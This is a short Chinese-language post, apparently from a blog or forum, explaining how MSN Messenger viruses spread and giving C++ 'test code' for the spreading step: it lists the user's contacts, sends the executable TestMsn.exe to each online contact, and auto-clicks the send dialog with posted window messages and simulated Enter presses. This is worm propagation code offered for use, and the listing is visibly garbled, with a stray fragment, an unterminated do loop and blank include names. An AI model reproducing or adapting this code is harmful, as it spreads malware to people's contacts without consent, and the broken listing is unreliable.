前段時間MSN病毒非常流行,它的原理其實很簡單,最主要的工作就是操控MSN,其實這個很簡單,微軟有公開的接口讓你用,所以我就不多說了,直接進入正題,
MSN病毒原理及測試代碼
。下面是測試代碼,只有通過MSN傳送文件部分
CODE:
#include "stdafx.h"
#include
#include
#include "msgruaid.h" //這兩個頭文件就是接口的定義
#include "msgrua.h" //有興趣的同學(xué)可以在網(wǎng)上找找(沒找著可以找我要)
#include
int main(int argc, char* argv[])
{
IMessenger *pIMessenger = NULL; //a pointer to an IMessenger interface BSTR pbstrName, bstrFriendName;
IMessengerContact *MsnContact;
IMessengerContacts *MsnContacts;
IMessengerWindow *pIMsnWindow;
__MIDL___MIDL_itf_msgrua_0000_0002 dwStatus;
VARIANT vaTemp;
BSTR bstrFileName;
char *szOpenDlg;
char szMsnWindowsClass[] = "IMWindowClass";
char szButtonText[] = "打開(&O)";
HWND hWnd = NULL, hBtn = NULL;
DWORD dwControlId = 0;
char szCurDir[MAX_PATH], szBuf[MAX_PATH];
CoInitialize(0); //初始化COM庫
CoCreateInstance(CLSID_Messenger, NULL, CLSCTX_ALL, IID_IMessenger, (void **)&pIMessenger); //創(chuàng)建一個實例
pIMessenger->get_MyContacts((IDispatch**)&MsnContacts); //取得好友列表
pIMessenger->get_Window((IDispatch**)&pIMsnWindow);
long nCount;
MsnContacts->get_Count(&nCount); //得到好友數(shù)
for (int i = 0; i < nCount; i++)
{
MsnContacts->Item(i, (IDispatch**)&MsnContact);
MsnContact->get_SigninName(&pbstrName); //賬號
MsnContact->get_FriendlyName(&bstrFriendName); //簽名
szOpenDlg = _com_util::ConvertBSTRToString(bstrFriendName);
MsnContact->get_Status(&dwStatus);
if (dwStatus == MISTATUS_ONLINE) //判斷是否在線
{
GetCurrentDirectory(MAX_PATH, szCurDir);
lstrcat(szCurDir, "\\");
lstrcat(szCurDir, "TestMsn.exe");
lstrcpy(szBuf, "發(fā)送文件給 ");
lstrcat(szBuf, szOpenDlg);
bstrFileName = _com_util::ConvertStringToBSTR(szCurDir);
vaTemp.vt = VT_BSTR;
vaTemp.bstrVal = pbstrName;
pIMessenger->SendFile(vaTemp, bstrFileName, (IDispatch**)&pIMsnWindow); //發(fā)送文件
do
{
hWnd = FindWindow(NULL,szBuf);
hBtn = FindWindowEx(hWnd, NULL, NULL, szButtonText);
& hBtn));
dwControlId <<= 16;
dwControlId |= 1;
PostMessage(hWnd, WM_COMMAND, (WPARAM)dwControlId,(LPARAM)&(hBtn));
keybd_event(VK_RETURN, 0, 0, 0);
keybd_event(VK_RETURN, 0, KEYEVENTF_KEYUP, 0);
}
MsnContact->Release();
MsnContacts->Release();
pIMessenger->Release(); //釋放相關(guān)資源
CoUninitialize();
ExitProcess(0);
return 0;
}